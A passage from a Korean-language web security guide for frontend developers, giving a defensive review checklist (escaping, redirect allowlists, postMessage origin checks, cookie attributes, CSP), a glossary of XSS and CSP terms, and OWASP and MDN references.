<script>/ JSON-LD / 속성 / URL에 넣을 때 그 컨텍스트에 맞게 이스케이프하나? 이스케이프는 직렬화 후에 하나? - 리다이렉트:
location =/window.open에 사용자 입력이 들어가면 allowlist 검증하나? postMessage수신:event.origin(또는 iframe이면event.source)을 검증하나? (BroadcastChannel/SW면 해당 없음)- 시크릿: 진짜 비밀이 번들에 있나? (공개형 키는 제공자 콘솔 제한을 확인)
- 쿠키: 새 쿠키에
SameSite/Secure/HttpOnly가 적절한가? - 서드파티 스크립트: 인증·민감 페이지에 불필요한 외부 태그가 붙나? CSP allowlist에 와일드카드를 남발하지 않나?
- 신뢰 경계 질문: "이 데이터 어디서 왔고, 어디로(누구에게) 가나?"
용어 사전 (빠른 참조)
- 싱크(sink): 위험한 동작이 일어나는 코드 지점(HTML 주입·코드 실행 등). 여기에 오염된 데이터가 닿으면 취약해집니다.
- 소스(source) / 오염(taint): 신뢰할 수 없는 입력(오염원)과, 그것이 싱크까지 흐르는지 추적하는 사고.
- 신뢰 경계(trust boundary): 신뢰 영역과 비신뢰 영역의 경계선. 보안 작업의 핵심 대상.
- 완화책(mitigation) vs 취약점(vulnerability): 완화책(CSP 등 2차 방어) vs 실제 구멍(취약점). 서로 다른 레이어.
- sanitize / escape: sanitize는 허용 목록으로 위험 요소를 제거하는 것, escape는 특수문자를 데이터로 무력화하는 것. 컨텍스트마다 방식이 다릅니다.
- CSP / nonce /
strict-dynamic: 리소스 출처 allowlist 헤더 / 인라인 스크립트에 매 요청 부여하는 1회용 토큰 / nonce 신뢰를 전파시켜 host allowlist 의존을 없애는 키워드. - Report-Only: CSP를 차단 없이 위반만 보고하게 하는 모드(정찰용).
SameSite: 크로스사이트 요청에 쿠키를 보낼지 정하는 쿠키 속성(CSRF 방어).- 오픈 리다이렉트(open redirect): 검증 없는 리다이렉트로 외부 피싱 사이트로 튕기는 취약점.
- reverse tabnabbing:
target="_blank"로 열린 페이지가 원래 탭을 조작하는 공격(현대엔 거의 자동 방어). - defense in depth: 한 겹이 뚫려도 다음 겹이 막도록 여러 방어선을 겹치는 원칙.
한 줄 요약 — 보안은 "신뢰할 수 없는 데이터가 위험한 지점에 닿기 전에, 그 컨텍스트에 맞게 막았는가"를 신뢰 경계마다 확인하는 일입니다. CSP는 그게 실패했을 때를 위한 그물이고, 모든 판단은 추측이 아니라 코드·런타임·1차 소스로 검증합니다.
보안이 막막하게 느껴지는 분께, 이 "신뢰 경계"라는 한 축이 좋은 출발점이 되면 좋겠습니다.
References
XSS
- OWASP — Cross Site Scripting (XSS)
- OWASP — DOM Based XSS
- OWASP Cheat Sheet — Cross Site Scripting Prevention
- OWASP Cheat Sheet — DOM based XSS Prevention
Sanitization
Output Encoding / JSON-LD
- OWASP Cheat Sheet — Injection Prevention (Output Encoding)
- zertosh/htmlescape
- serialize-javascript (yahoo)
CSP
- MDN — Content-Security-Policy
- web.dev — Content Security Policy & strict-dynamic
- W3C — Content Security Policy Level 3
- csp.withgoogle.com
CSRF / Cookies
- OWASP — Cross-Site Request Forgery (CSRF)
- web.dev — SameSite cookies explained
- MDN — Set-Cookie SameSite
기타
- OWASP — Unvalidated Redirects and Forwards Cheat Sheet
- MDN — Window: postMessage()
- MDN — Permissions-Policy
- MDN — iframe sandbox
